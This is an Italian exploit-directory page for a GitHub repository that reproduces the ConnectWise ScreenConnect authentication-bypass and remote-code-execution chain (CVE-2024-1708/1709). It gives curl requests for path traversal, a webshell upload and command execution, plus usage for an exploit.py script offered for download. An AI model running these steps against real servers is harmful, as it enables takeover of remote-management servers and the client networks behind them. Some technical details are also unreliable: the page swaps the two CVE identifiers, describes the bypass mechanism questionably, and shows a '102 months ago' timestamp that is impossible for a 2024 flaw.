Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2024-1708-connectwise_rce_reproduction — Riproduzione di cve-2024-1708-connectwise_rce_reproduction | Kitploit
Strumenti/GitHubGitHub/razureink/cve-2024-1708-connectwise_rce_reproduction
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e FormazioneRed TeamingSviluppo Payload
GitHub
razureink/cve-2024-1708-connectwise_rce_reproduction

cve-2024-1708-connectwise_rce_reproduction

Riproduzione di cve-2024-1708-connectwise_rce_reproduction

Vedi Repository
102 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect: Bypass dell'Autenticazione ed Esecuzione Remota di Codice

Punteggio CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Authentication Bypass Using an Alternate Path)
Software interessato: ConnectWise ScreenConnect (in precedenza ScreenConnect) ≤ 23.9.7
Scoperta e segnalazione: febbraio 2024
Sfruttato in-the-wild: LockBit, Black Basta, Bl00dy e altri affiliati ransomware


Indice dei contenuti

  1. Panoramica
  2. Dettagli tecnici
  3. Versioni interessate
  4. Passaggi di riproduzione
  5. Utilizzo del proof-of-concept
  6. Mitigazione
  7. Riferimenti

1. Panoramica

Le CVE-2024-1708 e CVE-2024-1709 sono una coppia di vulnerabilità concatenate in ConnectWise ScreenConnect (in precedenza ConnectWise Control) che, insieme, consentono a un attaccante remoto non autenticato di ottenere piena esecuzione remota di codice sul server ScreenConnect.

  • CVE-2024-1708 — Bypass dell'autenticazione tramite Path Traversal. L'endpoint SetupWizard.aspx (e gli endpoint correlati di configurazione/aggiornamento) non sanitizza correttamente le sequenze di path traversal fornite dall'utente (../). Un attaccante non autenticato può attraversare al di fuori della directory di configurazione prevista e raggiungere endpoint che dovrebbero richiedere l'autenticazione. Poiché la procedura guidata viene eseguita nel contesto dell'account SYSTEM (Windows) o root (Linux), l'attaccante eredita privilegi elevati.

  • CVE-2024-1709 — Caricamento file senza restrizioni che porta a RCE. Una volta bypassata l'autenticazione, un attaccante può caricare un file .aspx arbitrario o un altro file eseguibile nella web root. Richiedendo successivamente il file caricato, il codice arbitrario viene eseguito sul server.

Impatto

Queste vulnerabilità sono state massicciamente sfruttate a partire dal 19 febbraio 2024 da diversi gruppi ransomware:

Gruppo ransomwareNote sulla campagna
LockBitScansione estesa delle istanze ScreenConnect; utilizzato per distribuire l'encryptor LockBit a valle.
Black BastaHa sfruttato l'accesso ai MSP per spostarsi lateralmente nelle reti dei clienti gestiti.
Bl00dyCampagne su scala ridotta mirate a server ScreenConnect non aggiornati.

Poiché ScreenConnect è comunemente distribuito dai Managed Service Provider (MSP) per gestire da remoto centinaia di endpoint client a valle, un singolo server ScreenConnect compromesso abilita un attacco alla supply chain — ogni client con un agente collegato a quel server ScreenConnect è a rischio.


2. Dettagli tecnici

2.1 Bypass dell'autenticazione (CVE-2024-1708)

Il server ScreenConnect espone una procedura guidata di configurazione all'indirizzo:

/SetupWizard.aspx/

In determinati stati di aggiornamento/riparazione, il server non applica l'autenticazione perché presume che la procedura guidata di configurazione sia l'esperienza del primo avvio. Il difetto critico risiede nel modo in cui il server elabora il cookie __Session o le intestazioni Transfer-Encoding / Content-Type quando si accede a percorsi sotto il namespace della procedura guidata.

Inviando una richiesta a:

/SetupWizard.aspx/../../ScreenConnect/Login.aspx

il path traversal annulla il contesto della "procedura guidata di configurazione", mentre il server continua a ritenere applicabile il contesto di sessione non autenticato. L'attaccante viene reindirizzato o riceve pagine come se fosse autenticato.

Vettore alternativo: i gestori PrepareUpgrade.aspx / PostUpgrade.aspx mancano anch'essi dei controlli di autenticazione ed espongono funzionalità di caricamento file.

2.2 Esecuzione remota di codice (CVE-2024-1709)

Una volta che l'attaccante raggiunge un endpoint autenticato (o colpisce direttamente il gestore di caricamento file nel contesto della configurazione), può caricare una webshell .aspx dannosa:

POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream

<%@ Page Language="C#" %>...
------BOUNDARY--

Il file viene scritto nella directory dell'applicazione web (ad es., C:\Program Files\ScreenConnect\Website\). Richiedere la shell caricata la esegue con l'identità del server.

2.3 Causa principale (CWE-22 / CWE-288)

  • Il server non riesce a canonicalizzare il percorso della richiesta prima dell'instradamento.
  • Il gestore SetupWizard.aspx si fida del fatto che qualsiasi richiesta sotto la sua rotta faccia parte del processo di configurazione e debba bypassare l'autenticazione — ma il path traversal rompe questa assunzione.
  • Nessuna validazione adeguata delle sequenze ../ o del traversal di symlink.

3. Versioni interessate

Intervallo di versioniStato
23.9.7 e precedentiVulnerabile
23.9.8Corretta (rilasciata il 20 febbraio 2024)
23.9.9Corretta
23.9.10 (ultima)Corretta

Nota: I server ScreenConnect self-hosted (on-premise) sono i principali bersagli. Le istanze ScreenConnect ospitate da ConnectWise (cloud) sono state corrette prima della divulgazione pubblica e non sono mai state vulnerabili.


4. Passaggi di riproduzione

4.1 Configurazione del laboratorio

  1. Scaricare una versione vulnerabile di ScreenConnect (23.9.7 o precedente).
    Gli installer ufficiali potrebbero essere disponibili negli archivi partner di ConnectWise. Per i test, utilizzare una VM isolata.
  2. Installare su un Windows Server (2019/2022) o su un host Linux.
    • Percorsi di installazione predefiniti:
      • Windows: C:\Program Files\ScreenConnect\
      • Linux: /opt/screenconnect/
    • Porta web predefinita: 8040 (HTTP) o 443 (HTTPS se configurato)
  3. Assicurarsi che il server sia isolato dalla rete — non esporlo a internet durante i test.

4.2 Verificare la vulnerabilità

# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"

Oppure accedere all'interfaccia web e annotare il numero di versione nel sorgente della pagina.

4.3 Test di Path Traversal

curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"

Comportamento atteso su un server vulnerabile:

  • La risposta restituisce un 200 OK o un 302 redirect a una pagina autenticata dalla sessione senza il normale prompt di login.
  • La risposta può contenere l'HTML della console di amministrazione ScreenConnect.

4.4 Caricamento della webshell

curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -F "[email protected]"

4.5 Eseguire comandi

curl "http://<target>:8040/shell.aspx?cmd=whoami"

5. Utilizzo del proof-of-concept

Lo script exploit.py allegato automatizza i passaggi precedenti:

usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]

Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target hostname or IP
  -p PORT, --port PORT  Target port (default: 8040)
  -c COMMAND, --command COMMAND
                        Command to execute (default: whoami)
  --ssl                 Use HTTPS

Example:
  python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"

Esempio di esecuzione

$ python exploit.py -t 192.168.1.100 -c "whoami"
Scarica lo strumento